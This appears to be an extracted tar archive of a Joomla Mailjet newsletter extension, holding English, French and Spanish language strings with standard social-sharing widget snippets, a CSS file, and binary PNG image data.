COM_MAILJET_PLUGIN_INSTRUCTIONS_CREATE_CAMPAIGN="<a href=\"index.php?option=com_mailjet&view=campaigns\">Create a campaign</a> on mailjet.com to send your newsletter."

COM_MAILJET_PLUGIN_INSTRUCTIONS_FACEBOOK_LINK="<iframe src=\"//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2FMailjet&amp;send=false&amp;layout=button_count&amp;width=150&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=21&amp;appId=352489811497917\" scrolling=\"no\" frameborder=\"0\" style=\"border:none; overflow:hidden; width:150px; height:21px;\" allowTransparency=\"true\"></iframe>"
COM_MAILJET_PLUGIN_INSTRUCTIONS_TWITTER_LINK="<a href=\"https://twitter.com/share\" class=\"twitter-share-button\" data-url=\"http://www.mailjet.com\" data-text=\"Improve your email deliverability and monitor action in real time.\" data-via=\"mailjet_fr\">Tweet</a>
<a href=\"https://twitter.com/mailjet\" class=\"twitter-follow-button\" data-show-count=\"false\">Follow @mailjet</a>
                                              <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=\"//platform.twitter.com/widgets.js\";fjs.parentNode.insertBefore(js,fjs);}}(document,\"script\",\"twitter-wjs\");</script>"
COM_MAILJET_PLUGIN_INSTRUCTIONS_SHARE="Share the love!"

COM_MAILJET_GENERAL_SETTINGS="General Settings"
COM_MAILJET_MAILJET_SETTINGS="Mailjet Settings"
COM_MAILJET_GENERAL_SETTINGS_ENABLED="Enabled:"
COM_MAILJET_GENERAL_SETTINGS_SEND_TEST="Send test mail now:"
COM_MAILJET_GENERAL_SETTINGS_TEST_RECIPIENT="Recipient of test mail:"
COM_MAILJET_MAILJET_SETTINGS_API_KEY="API key:"
COM_MAILJET_MAILJET_SETTINGS_SECRET_KEY="Secret key:"

COM_MAILJET_NO_LISTS="You have no lists."

com_mailjet/language/fr-FR/fr-FR.com_mailjet.ini000060400000007732152455305320015436 0ustar00COM_MAILJET_MENU="Mailjet"
COM_MAILJET_SETTINGS="Préférences"
COM_MAILJET_STATS="Statistiques"
COM_MAILJET_CONTACTS="Contacts"
COM_MAILJET_CAMPAIGNS="Campagnes"
COM_MAILJET_CONTACT_SUPPORT_ERROR = "Veuillez contacter le support Mailjet pour régler ce problème.<br /><br />Error %d - %s"
COM_MAILJET_SETTINGS_SAVED="Vos préférences ont été enregistrées avec succès"
COM_MAILJET_CONFIG_FILE_UNWRITABLE="Impossible d'écrire le fichier de préférences."
COM_MAILJET_RECIPIENT_INVALID="Le destinataire du message de test est invalide."
COM_MAILJET_TEST_EMAIL_NOT_SENT="Impossible d'envoyer l'email de test."
COM_MAILJET_SETTINGS_MANDATORY="Les préférences de Mailjet sont obligatoires"
COM_MAILJET_CONFIG_OK="Configuration Mailjet enregistrée avec succès"

COM_MAILJET_SENDER_ERROR = "Please make sure that you are using the correct API key and secret key associated to your mailjet account (from email)."
COM_MAILJET_API_KEY_ERROR = "Merci de vérifier que vous avez correctement saisi votre clé d'API et votre clé secrète. Si vous obtenez toujours ce message d'erreur après vérification, rendez-vous dans la section Account API keys (« Clés d'API de compte ») (<a href=\"https://www.mailjet.com/account/api_keys\" target=\"_blank\">https://www.mailjet.com/account/api_keys</a>) pour générer un nouvelle clé secrète pour le plug-in."
COM_MAILJET_PLUGIN_INSTRUCTIONS_TITLE="Module Mailjet"
COM_MAILJET_PLUGIN_INSTRUCTIONS_CREATE_ACCOUNT="<a href=\"https://fr.mailjet.com/signup?p=joomla-3.0\">Créer votre compte Mailjet</a> ou visitez votre <a href=\"https://fr.mailjet.com/account/api_keys\">page compte</a> pour obtenir vos clés API."
COM_MAILJET_PLUGIN_INSTRUCTIONS_CREATE_LIST="<a href=\"index.php?option=com_mailjet&view=contacts\">Créez une nouvelle liste</a> si vous n'en avez pas ou que vous en voulez en ajouter une."
COM_MAILJET_PLUGIN_INSTRUCTIONS_CREATE_WIDGET="<a href=\"index.php?option=com_modules\">Ajoutez</a> le widget de collecte d'adresses emails dans votre barre latérale, ou votre footer."
COM_MAILJET_PLUGIN_INSTRUCTIONS_CREATE_CAMPAIGN="<a href=\"index.php?option=com_mailjet&view=campaigns\">Créer une campagne</a> sur mailjet.com ou envoyer une newsletter."

COM_MAILJET_PLUGIN_INSTRUCTIONS_FACEBOOK_LINK="<iframe src=\"//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2FMailjetFrance&amp;send=false&amp;layout=button_count&amp;width=150&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=21&amp;appId=352489811497917\" scrolling=\"no\" frameborder=\"0\" style=\"border:none; overflow:hidden; width:150px; height:21px;\" allowTransparency=\"true\"></iframe>"
COM_MAILJET_PLUGIN_INSTRUCTIONS_SHARE="Partagez !"
COM_MAILJET_PLUGIN_INSTRUCTIONS_TWITTER_LINK="<a href=\"https://twitter.com/share\" class=\"twitter-share-button\" data-url=\"http://www.mailjet.com\" data-text=\"Améliorez votre délivrabilité et suivez vos emails en temps réel\" data-via=\"mailjet\">Tweet</a><a href=\"https://twitter.com/mailjet_fr\" class=\"twitter-follow-button\" data-show-count=\"false\">Suivre @mailjet_fr</a><script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=\"//platform.twitter.com/widgets.js\";fjs.parentNode.insertBefore(js,fjs);}}(document,\"script\",\"twitter-wjs\");</script>"

COM_MAILJET_GENERAL_SETTINGS="Préférences Générales"
COM_MAILJET_MAILJET_SETTINGS_API_KEYS_HELP="Vous pouvez obtenir vos clés API depuis <a href=\"https://fr.mailjet.com/account/api_keys\">votre compte Mailjet</a>. Assurez-vous que l'adresse d'expéditeur  est bien activée dans <a href=\"https://fr.mailjet.com/account/sender\">votre compte</a>"
COM_MAILJET_MAILJET_SETTINGS="Préférences Mailjet"
COM_MAILJET_GENERAL_SETTINGS_ENABLED="Activé :"
COM_MAILJET_GENERAL_SETTINGS_SEND_TEST="Envoyer un email de test :"
COM_MAILJET_GENERAL_SETTINGS_TEST_RECIPIENT="Destinataire du test :"
COM_MAILJET_MAILJET_SETTINGS_API_KEY="Clé API:"
COM_MAILJET_MAILJET_SETTINGS_SECRET_KEY="Clé secrète:"
com_mailjet/language/fr-FR/fr-FR.com_mailjet.sys.ini000060400000000444152455305320016244 0ustar00COM_MAILJET_MENU="Mailjet"
COM_MAILJET_SETTINGS="Préférences"
COM_MAILJET_STATS="Statistiques"
COM_MAILJET_CONTACTS="Contacts"
COM_MAILJET_CAMPAIGNS="Campagnes"
COM_MAILJET_CONTACT_SUPPORT_ERROR = "Veuilliez contacter le support Mailjet pour régler ce problème.<br /><br />Error %d - %s"
com_mailjet/language/es-ES/es-ES.com_mailjet.ini000060400000007641152455305320015435 0ustar00COM_MAILJET_MENU="Mailjet"
COM_MAILJET_SETTINGS="Parámetros"
COM_MAILJET_STATS="Estadísticas"
COM_MAILJET_CONTACTS="Contactos"
COM_MAILJET_CAMPAIGNS="Campañas"
COM_MAILJET_SETTINGS_SAVED="Su configuración ha sido guardada"

COM_MAILJET_SENDER_ERROR = "Please make sure that you are using the correct API key and secret key associated to your mailjet account (from email)."
COM_MAILJET_API_KEY_ERROR = "Por favor, compruebe que ha introducido correctamente su API y su clave secreta. Si es así y sigue apareciendo este mensaje de error, le rogamos que acceda a la sección Account API keys (<a href=\"https://www.mailjet.com/account/api_keys\" target=\"_blank\">https://www.mailjet.com/account/api_keys</a>) y vuelva a generar una clave secreta para el plugin."
COM_MAILJET_CONTACT_SUPPORT_ERROR = "Por favor póngase en contacto con el Soporte de Mailjet para resolver este problema.<br /><br />Error %d - %s"
COM_MAILJET_CONFIG_FILE_UNWRITABLE="No ha sido posible escribir el fichero de configuración"
COM_MAILJET_RECIPIENT_INVALID="El destinatario del email de prueba es invalido"
COM_MAILJET_TEST_EMAIL_NOT_SENT="El correo de prueba no se ha podido enviar."
COM_MAILJET_CONFIG_OK="¡Su configuración de Mailjet está bien!"
COM_MAILJET_SETTINGS_MANDATORY="Les preferencias son obligatorias."

COM_MAILJET_PLUGIN_INSTRUCTIONS_TITLE="Modulo Mailjet"
COM_MAILJET_PLUGIN_INSTRUCTIONS_CREATE_ACCOUNT="<a href=\"https://es.mailjet.com/signup?p=joomla-3.0\">Cree su cuenta Mailjet</a> o visite su <a href=\"https://fr.mailjet.com/account/api_keys\">cuenta</a> para conseguir sus claves de API."
COM_MAILJET_PLUGIN_INSTRUCTIONS_CREATE_LIST="<a href=\"index.php?option=com_mailjet&view=contacts\">Cree una nueva lista</a> si no tiene o necesita una nueva."
COM_MAILJET_PLUGIN_INSTRUCTIONS_CREATE_WIDGET="<a href=\"index.php?option=com_modules\">Añada</a> el widget de suscripción de emails en su barra lateral o footer."
COM_MAILJET_PLUGIN_INSTRUCTIONS_CREATE_CAMPAIGN="<a href=\"index.php?option=com_mailjet&view=campaigns\">Cree una campaña</a> en mailjet.com para enviar su newsletter."

COM_MAILJET_PLUGIN_INSTRUCTIONS_FACEBOOK_LINK="<iframe src=\"//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2FMailjet&amp;send=false&amp;layout=button_count&amp;width=150&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=21&amp;appId=352489811497917\" scrolling=\"no\" frameborder=\"0\" style=\"border:none; overflow:hidden; width:150px; height:21px;\" allowTransparency=\"true\"></iframe>"
COM_MAILJET_PLUGIN_INSTRUCTIONS_TWITTER_LINK="<a href=\"https://twitter.com/share\" class=\"twitter-share-button\" data-url=\"http://www.mailjet.com\" data-text=\"Mejore su entregabilidad de emails y haga seguimiento de las acciones en tiempo real\" data-via=\"mailjet\">Tweet</a>
<a href=\"https://twitter.com/mailjet\" class=\"twitter-follow-button\" data-show-count=\"false\">Seguir @mailjet</a>
                                              <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=\"//platform.twitter.com/widgets.js\";fjs.parentNode.insertBefore(js,fjs);}}(document,\"script\",\"twitter-wjs\");</script>"
COM_MAILJET_PLUGIN_INSTRUCTIONS_SHARE="Comparte!"

COM_MAILJET_GENERAL_SETTINGS="Configuración general"
COM_MAILJET_MAILJET_SETTINGS="Parámetros de API"
COM_MAILJET_MAILJET_SETTINGS_API_KEYS_HELP="Puede conseguir sus claves de API desde <a href=\"https://es.mailjet.com/account/api_keys\">su cuenta mailjet</a>. Por favor, asegurese que la dirección de remitente esté activa en <a href=\"https://es.mailjet.com/account/sender\">su cuenta</a>"
COM_MAILJET_GENERAL_SETTINGS_ENABLED="Enabled:"
COM_MAILJET_GENERAL_SETTINGS_SEND_TEST="Enviar email de prueba ahora:"
COM_MAILJET_GENERAL_SETTINGS_TEST_RECIPIENT="Destinatario del email de prueba:"
COM_MAILJET_MAILJET_SETTINGS_API_KEY="Clave de API:"
COM_MAILJET_MAILJET_SETTINGS_SECRET_KEY="Contraseña de API:"
com_mailjet/language/es-ES/es-ES.com_mailjet.sys.ini000060400000000523152455305320016242 0ustar00COM_MAILJET_MENU="Mailjet"
COM_MAILJET_SETTINGS="Settings"
COM_MAILJET_STATS="Statistics"
COM_MAILJET_CONTACTS="Contacts"
COM_MAILJET_CAMPAIGNS="Campaigns"
COM_MAILJET_SETTINGS_SAVED="Your settings have been saved successfully"
COM_MAILJET_CONTACT_SUPPORT_ERROR = "Please contact Mailjet support to sort this out.<br /><br />Error %d - %s"com_mailjet/styles.css000060400000001155152455305320011066 0ustar00.iframe{
    border-bottom-color: rgb(238, 238, 238);
    border-bottom-style: inset;
    border-bottom-width: 2px;
    border-image-outset: 0px;
    border-image-repeat: stretch;
    border-image-slice: 100%;
    border-image-source: none;
    border-image-width: 1;
    border-left-color: rgb(238, 238, 238);
    border-left-style: inset;
    border-left-width: 2px;
    border-right-color: rgb(238, 238, 238);
    border-right-style: inset;
    border-right-width: 2px;
    border-top-color: rgb(238, 238, 238);
    border-top-style: inset;
    border-top-width: 2px;
    padding: 10px;
    width: 1000px !important;
}com_mailjet/images/stats-48x48.png000060400000006027152455305320012742 0ustar00�PNG


IHDR00W��bKGD�C�	pHYsHHF�k>	vpAg00��WIDATh��YipTU�ν���k���,l!$0H���q\FQ��e�����*.)u�(kj�*D\-g�B	�(.�U!��@����@����y�޻�Cd�4��Su��^�{���%$��-5�Q8f�k\VV���HR�mYz]{{�κ��ښ�#@&jS�bWr���)Sr�}�	^�'��@�F��axXo������4��P��E��d��6ڱ��jo�Νm�f3M]?�hZ~~����������3����������@�eR��@����OI���tD<��m�����ǯWT���.<�&�:���<�6GK����etuA�b}�(Χ")�Ln�CfY99
m���wt�륯���xb��������@@,�9�x��}rKK�UW�2zz~Vz�dY !�ddHs���:����_�MU�������J�N�� y�WW�ŎXg(����S���#]��e�wu�u�֭;�BX���K��eJ��.�kk[&�)�O&�!"H˂G08~�a��ʪ�����V������~�gQn\b��8�i&^���a���L��=%YU�Z9v��'jkO����|i)2��������i�QW�I���}z,���h��h���4O�~?]����vu�ԩw�wv>a56���Ck�v�����o�B�}VS�|Įg�^:�0�!��s�I�!)A.�y��kMoTU5/�o��L�k�s��������%',�!���83�_L�z�P,�X��m��n���_�6~쓪��%��N{~����{o{+������{��9¦)��0គ����ѡ�����i�fd��6.-��nX|��)W]��tɪi�#&F6��R���/�Ǥ$��w�w99#G�bX0�c8W�\.��_�)��nX4R���V$Ӂi0C H������ٿ�α��dž�U�د�ٮP���c��3��%~���u����}Ѥ�����vYA�!8C�E�&�&�EJZ�����\LLKKϲ�ky$�ϩ�>߇�t��{k﹥�p�E���"f� ��E?+����sF�w-���|�Y�m�ra�i.�Ѩ�\$-s:e��W�N�|{Ϟ�{n.�0�j�%dt�3��1̈�)�n�9�.]�g$�-X�Gr>M3�T�9�*3�t"��}���?�f���7O�e��}��K���(\��5c#���E���4�/�U��r�8�ϝN�ލ�oVV�_xSq�-��,ϴ7^.��P �8%+���4&Ι�T��+7Ĭ��t������r�I	��О���P�7*+��}c���2���
W�h�D��L���DO~@�\E�ۉ�1���zh���7���K_����7Lλ�j�߲�M��p�&��Me�ƹO!r��e}MC���EY8���;v�c��1w�d=��:x5b�ؾD@�#2��μ,Ɍ�	�T��GJP\��6��K^پ}���M}��G$��b��%ڮ�[<��򼤀ЈTN��1������%/n۶���nj���QόHi��b�;%�h���WmMtA��L�<�D�jm]�¾};��r��ްn��wȹ\J�7#��ý�΀ɒ B�u���RM$)�d�`Qܻ���K�x���M�R�H!Bܲo��1�Kq�s<9^�4�m�������w��EāX��།�@}&b�Ł���2�eY���@������
��7��U|^��y��O���w*B֠78��lC7A
�1�$��!�B�����B�f��P�2I 0�l��xS�'�K:�I)�Z��b�jOBg�AGH�$�!�b���I��JJ���mGP��<�����CCg;iA�S�zF>e���q#"�y��ѣ7Ӵx,���vt��A*�w?g�^�)���5kㆉ�&d}�q�ܹ�ed�O5��V#�q9@��(`*
A	A��������;� {�x4��.�5�d�m�F��m�z�T\�����:��:*�RF�+4��RF��1b�ϲ�
�P����x�4B��+! `�6�xm�֢�	���E(�ð���^�3�;����P�P�D�T��o��*P�3�h99uws��x�����Ǘv�?�ò�|I�u���^0�(;R�s�s�`WU�m*��٦"UM6�fǫ�Om�(�*�`ǘ侲2H){/;���L��=���:����#ްi*l�p
(P�5�>�\s�U)�NDž�	>�{��E������\�nb������fS�Ă�VwE�ƶe��6�Ir�A��퍒�{��Cy�-PB!m�C<��6� �Bkumm�X�Ŋ-��¥;�����~hl	{���nBJ�bW0蕱؀���
M9	�Zv�7;6���G?z���M�"z�+N[�K�?�}��n�ooJI��p�c�؀:*�rgqj�R��N����ܽ�/ �)�?���ի"����7Λ2e�-yy����nM�	Jo�ӌ�w��+Dc�7��;c�Q�N�Zy�w��6=�eScMs�� ���ܙ渵��{�6��m��>���ï�x�F�-I��(#��F��\Q�#1��X\��e���kO�{?���ӭ��BD��0L�Y���N����7��WM��];�� �W����"70F�,�bYniYB�z$�,{���
��Q7"���A�~��𮮊m��ٳGM'��3����"EъF�rO�zS�.�;E�Ԇ��ڕ-j
s�^>F!-��%�spw[�ފ���E�e���f�*���)%tEXtcreate-date2009-09-28T11:27:54-04:00J��=%tEXtmodify-date2009-05-18T16:10:00-04:00�ֽtEXtSoftwareAdobe ImageReadyq�e<IEND�B`�com_mailjet/images/logo-16x16.png000060400000000777152455305320012540 0ustar00�PNG


IHDR�asRGB���bKGD�������	pHYs��tIME�95;��IDAT8��M+Da����w��|JL��8QF6MȂƊl,����?�,d�P�Q�?@VV&c�a2i� s�9��+�U����}?�����O�3���I��3D�'"����(�����6��^Q�ɥw�`����$��4!�1M�I����
�@wh�/غ�n�@��fdYY�l{b�s	��b�"��ĕ۝
���%�X��Ƃ�^VX�2S���F�D�W���r�J�qE�柱�H��%�;����jWz�M.EMݒCYe���;��rQݠ�8��p�7�)7_L�b����wd�t-�MCۅ��j�	�B^�Mp�o����ꯏ�=S��Q�8�S��'�S#)�\&ȝe��<|���wꂣCPERIEND�B`�com_mailjet/images/logo.png000060400000034747152455305320011761 0ustar00�PNG


IHDR�Fx逻tEXtSoftwareAdobe ImageReadyq�e<
4iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063 53.352624, 2008/07/30-18:05:41        ">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:Iptc4xmpCore="http://iptc.org/std/Iptc4xmpCore/1.0/xmlns/"
   xmpRights:WebStatement=""
   photoshop:AuthorsPosition="">
   <dc:rights>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </dc:rights>
   <dc:creator>
    <rdf:Seq>
     <rdf:li/>
    </rdf:Seq>
   </dc:creator>
   <dc:title>
    <rdf:Alt>
     <rdf:li xml:lang="x-default">Imprimer</rdf:li>
    </rdf:Alt>
   </dc:title>
   <xmpRights:UsageTerms>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </xmpRights:UsageTerms>
   <Iptc4xmpCore:CreatorContactInfo
    Iptc4xmpCore:CiAdrExtadr=""
    Iptc4xmpCore:CiAdrCity=""
    Iptc4xmpCore:CiAdrRegion=""
    Iptc4xmpCore:CiAdrPcode=""
    Iptc4xmpCore:CiAdrCtry=""
    Iptc4xmpCore:CiTelWork=""
    Iptc4xmpCore:CiEmailWork=""
    Iptc4xmpCore:CiUrlWork=""/>
  </rdf:Description>
 </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                           
<?xpacket end="w"?>PO��,IIDATx��}	xՕ��˒,Y2���{�`�!<$/d���$y�$���$!	I�$3IH�LYy� `���x��ɶlI�,��"k��9�N�K���,	��K���nU�:�=�?��[ҧ?�Y0M4M����M���^�� �F�~?O��Y��ұ��'{}�5y{�1�~Oц�?��6�;��c���:��߿��u���j.h���a0�\0
</6mR��	�Y��O����@T�%��6�SW�Ý�TzĀ����n��[w@ӱ a;@�}�}X�Uv׃�$VIV�a�6�����N��3�n��_�$2C��ڃ�O�������qy\��\��cm�z��s������u�X���DQcH`�d*��w^�:���f��*�(��w	��~0C���Xߝ�[��8��$�{,c��m�� yׂ:�5�54�����0�3g;-�3��>��C��Z��7S�ضƙ�8�qNc=�jgӭ��D���:ceT��h���B�,�;�{z�#B�46���`��"����Q<d�p\��mk�ɩ���:��v�+��u�\+#
��!@"\V>/,]4/��N�En���?�z�h4�3�&�C�d#����\�b�)̵�$i�f�~�� ������4�`��\9*t��+emL���1(Œ��R��,���X-m�}{������>s���H���o�}��6�k��AsʹyN���X,�x��h��r����}>ĸ�I��"�5�l�}+��{äm^x���ȅ�m�º$e(�69|
��z0����俕Ƅx���v���uXs�ƹR�+��:�F!QT'E�{{�z�4�r���?y�p�p��+�H�c��M$�9\�%����A*���	�
((ȃ��B(-)���b(*ȇ��<(,,������iFP���z�FÔߒL���*��ڲ ����q?*�:T�1�{A�r��G� �+�K���{E��9FFst0 � ߈�*㘅…���yB�d֌)�ºM��h��"��b�������P���A�����=��;I�������	�x<Zk(y�|W�	U����P(���YR_3�
�T�T�5L�L˰�D������/t]>���txzg��'*b��<6ʏ8�_�Ճu1�1P�C�MG�@�t�0��
�98}��^��z뒸f�v��1�1����:4��
�j;�*���9��p溉mPr�
��躄�A�fʾ+�(��w�|�ǰ~Os�bp.@����8<�-Ơ'd���0F�s�-���X�c}/X��:%�P8s�C�rxl�ص�G`Mr��/�:���yM�)�a=�a{\77�ؑ�c4M)���j�Y�&ԖP^`��\�h+P7.�#��˗�(`��:�I��i�$�-S��@�EMA�Ҧ��"[�35!A���قh.�r�ȅ�uۙx��C`�ƭh�ĭ��Tf�68�[&+�`���p.�hImA���o|F[u�aά���	:\�`�o�Uc�+c1iy<f�C�>5���+�>�x��[A)���;�%�?�4�gA�k#x�h�z��@����o��o7��}1��)�iԸ����B��D�W�]M\eܠ��\A[]�X�����W��e�c��(����7P�_UU8��[����jt���j�%�S�kN�*�rC`�C0Ԙ�Y"�4$�<h}'U�%I.:%�g<��L=!i�*A����$9fZY�=�2�Nn�}�i;��i���:�j�@�)li
�QcะR��*��z-$E�)N����V���l�(L�!�ÎM���&qs;�aoL�6�ln�j���|���B7gNB�0р�2J
�O5f�>��
=n.Dy���Ȧ�3-&<����AE��
�S���yAP�=���ǃ��`���my$��ډD��1~�)`�"(�o���[�V]l9����X�d�r��D�}H�?�񿇊�q�̚� ��G����0���f�qݐw _@[����Ǘ�]��:L��Cm
��€€����|����F$��0�L�4f�U@�#Q�Qĉ����)_
��O��z�<�.6�23�_��CC��y*(x�i�8�_8����T�X���uØt�u+�����jhii��ci���9BXB�)5���
5�I2w�<Ƒ�R=2eB���a
��q��$曦�5���ba�B��t-��@0�A��"��1�$�Z˛��+PQ�`3��i�VZ�ɡti����p�3A8�c@���������G�ga(�j���7|��^���W|6n
(hl��"�h6!y����[�W5��IQ��2
�K�/ġb���@�$�ϼ�)MG�9H|�%���X�2b(�Q�&�ňY�"�c�IG�w�&E�@+y�
aH&j�G�r)��P;�������B�a�9W��L�M��YB��8��(����t����x���W��B>Y���9Dikܐ����B04�ˏG'�E`���U�1(�7
4�Yg�|y�e:H�CQ�A I$u��k���0�6�%�?���ř��d�m��O�ՠ�ϰ��cHЌo��]�SVv4mk������
aaFyTx�C7�1bͬF=����;p�y���}�~Mo�*��5%Q�-���8�z���l�eq��#�^�H�B�l�#�c�*gz��%X$+%Eb	5l���?i�(HZx˖"�^���m�<��ᗸs81��\�٨x�W��_R$q:�د_	��¬E�M����q���	�RذdWokR�׺���S�)T.��c�h�
��0�7%���gt�]m�Ē0�Ƥ�Y.+0��teD��`�����k�w�L�%��40�H�&%qg2��WH~$�+@+Z��X ���x�As�۲aE�S5BH�_��<�e45�\�<\1�U���<͸͟�-z��	�$�X?� *+k��T�?���pӒ�5�X���)���ǐA�#�B
��s7��߀��e�2��|]�H�pL�
:�Y�Y6ȝʁ7ӹX��LE!S̄�٪&��YSࠨ���p(�	¤B^���=��g��8U���yؾ�	�{|�>x�ZM��LVf;��Y5���E0xr�#��y+�9)�}K�~�(TaB�j���,�ߏ��UCf�~�@k{
Զ�8�v�.��X8.?�#���@��H�ƺ�@��5�Ð�KD��´1ⴑMňY��"�����Al�[@	�A��=�æm���;aˮ8}�[��Gfե��&�Ѣ]���Cb��䲛��5���ʨ��q�h�8.�_�����ҵ<���ۀۼ`X,�	L5��*�gX�G%C�PAr��7�!Zh �B�U!(�F�Ne�
��w�^�c
�ߐi���;k^�
xf3j�F�;&����Ovi=�:��IS�d�˾�x��5��rjX���kx��M�休
�)��֧@9��J̓s�ˣ�$l�~�֣���Iv�a*�o�(��H�e�T���L���"(����<¬½V��FW��ȽL�d��3��>B?���`��-�Ua��V��s���C�����g��G��f��
��2&�Th�W�(��_��e���z���H���Ak]*C��AM��PJ
��9��!�EC8��	jb��J��-o���t�+����Y�Y��*	9����7��7�5BӉ�hJ�a���B�⑗a��c�)
��K�:�=N�J��j��~ǰ{N�$���5{��IX�m����F�Д����K��J�Z9���'Є:b�UJn��f�X�_��t�3�����yV����򖀒�I{��3nZ��X��!(���`�7a��]p��N��p�
R��B�r���b:�d��5�$k�=Y�_��w!��M�LZ�b9�o�G���;�7^��&��#��<�m���AfN*7�$%i
'�8Ҡ�P�/M�d��P󗃤����5�~��?�vh
٫A��s�,���_���[�<5C^����J��4�g�tw���a-���\�&���+f��Κ֊/oOv.&x��k=�GA=�
Ǧ�J�Ŕ	Xd�[N�B��%kZØd�
NO��2{�D��?kD�E�n#��E���@s�d�Y�ӳ��ѿ�-��An3����:�L��F�3q�n� ��o��X�̅�,�A~x���s�^�"b�l�� 
p�=�&h�k����l3[pN�}�z�
�����i>�8�� L%O_Z�rPsDӦN������◇���\7�\�*���p�y��/Yx�y,�͠IX_��P<3��]�$�G��M:
4�I�wXϰYI��ú�]��G�~��AvdEW=(�ςrv��S6���ф�TUB�u�I%9Va~�ĺ�|B���ɾ21�B+����p��0#�lB݋ǟ� G�<�O=�D`ll�@�u���k����*]�u}����^�Zͣ��b�N�,��F��l6Tr�$�~>w$V�<����fR:e���U�v�a/ϛ��f�Of��0�,σwM�Q�2��d=�3<y��k����)��S�����Z�����;�W�.�A�7�y�6ꧭ�xx�������}��.��8�SP|@�=
�u��z	/9diZ�fh*v>�B騕".��`/�� �9P�<y�)���$5_l3-Wן�R ��f#J��7���؃�<�AA�n��ȣI��uR[wc��c����V�%.�Ҩ�X�nseI��3���ko�+e7�������#�b�_�$��
�D�oZ���(���/ы~�B�{n+���*��~�ױ�KX���Iw�8��)~�������z?��5rU���'#O�v�rz(�ܹO�i���b�E؞��5������=P�#�V=�-Y��+�֠m
��5�M6�hj<	w=��Z��H;)�@�aw�7x4˦|�5�v#~)M� ���‚��[�h�&k=��*�s�e�K�dJ��Su�L*J�t���u�y�\��I�����A���"�L�{x�O�c��(�L�9lmK�� �k��8V�`pp���}'�An߈�-��)̪���P��K8���c�9&[Sfb�!�OJ�u�(��Ԃ��Z��.�n��u�i�;~��pFK������}���g�!�㵧�~����ʵ�X+�_hyO
pL��~�0��Y�-N��	Z~H,)4��S俲H��g�M.����.d�PV�f��cl�T;�}��,�m��Φ�m�?�3)K��Tk'W����$��Yoa�A�hg� HSD�!�؉�b+�g�����o>�����A�~hk�5����p�U��j��U,C�]'v4����M��f㵒�{r�p��|��M;B��y�>�Ġ	Jh�^tǦ���F`Pٗ%8����U��b~b�l�KU���ϩ��ʓ�(N��XK�)L�#��J��+�&��V|
���Ś�BJ	L��k"��Z�j��B8���!f�H=ͨ!6#��R�ՒR�94���P@�l���¸)�T�.k�Q�b1P�ƃ��P�g�.���!���Gy��7aF!V>��w���Շ&T�M�i�,��99|~{4�:�\&��'�fHE���/�S�v>�k8B�cF^�&r�JZ&�#��xy���O���Tcp@Sw��:
�s�ڻ�^ǵ�U�j��
 ���!�WD��醷H�!�_`��X���ޟYB���#���U^��K@��^(��U�~��@L7����y�����Y�Vd�(��j1��d��͞���R'��<VK��Щ�lDr���$�Y�)n��o�8M�֔
���b�_}�,�9�$��۳��p����8�>�es�IZ#��F��y���x/�`g�\�6�-6�(�w��uK�B�_�|�H���ٶxE'�{��5K3�K�z���՛� /Gl��s�Ug��l?�$��ʻ"ñ�&�
�UL0�BA��\�|3�ӕ���p�����w-k�T%[2~��8-4u���3�̳��:���n��8�]N��S���֢��$��~G4��CL���h\;h@<hXs7PS���S:
���!�nc3�ݕ�	5(�S��OOn�G�l�B�cM�t��-�RH�JIl�xA�K��V�8����ݓ�������8#��5�?���nm79
L(QmG��4�w.{�l�k���g�L�L��~�a��!�"�FK��-�$�)��|&xk���d�����i�/�?`���{�=G�ǿY-z`�B�7D�1�;�}�:.s�����
R�7ws-�eq��=Cg֥���uٯ�M0�����1�,_�g`�IsΙ��۟BC�*~��78xӓ.\u�Älqp?�HYn4e�U�CR��H�Ҋ�!gڵ�)����2���o�t��1�gt!�Ɲ����="'���b�>�'�L�DkryҿZ�4f�3Ana.��i���S5+
f��[s?Mp�T�����a`�!ٴ����Z����:�qғb�j�Q����_8JpH����	Ѯ��b�OF^1��v�"b�t$�?��u~iYS�{�<�돉�(3;3�
2/�03���9ñ�TK��
6
ApS�o��t��X��[_Q:�Q��h�uWy�X�5Ud���b���c��F���\L��HcC"a7��(ģ9�3�ݐS���b�)�	eZ��oP���U���Ͻy9)�U���gr���-ٌVn�uzu��n&�MϢ}�ܖe	@����N�0A��~Wj�C���h+��bE�d��$y�h��g�ߺ4p�#�9>���g���,�@�”=f�mB�H�IYh	�7�<��*�h�ۻ?�d9j^����X��68�:$�i<N���4�O����N�p��C(�<�d�Ox�TBL��4�����X��L
2�۟�
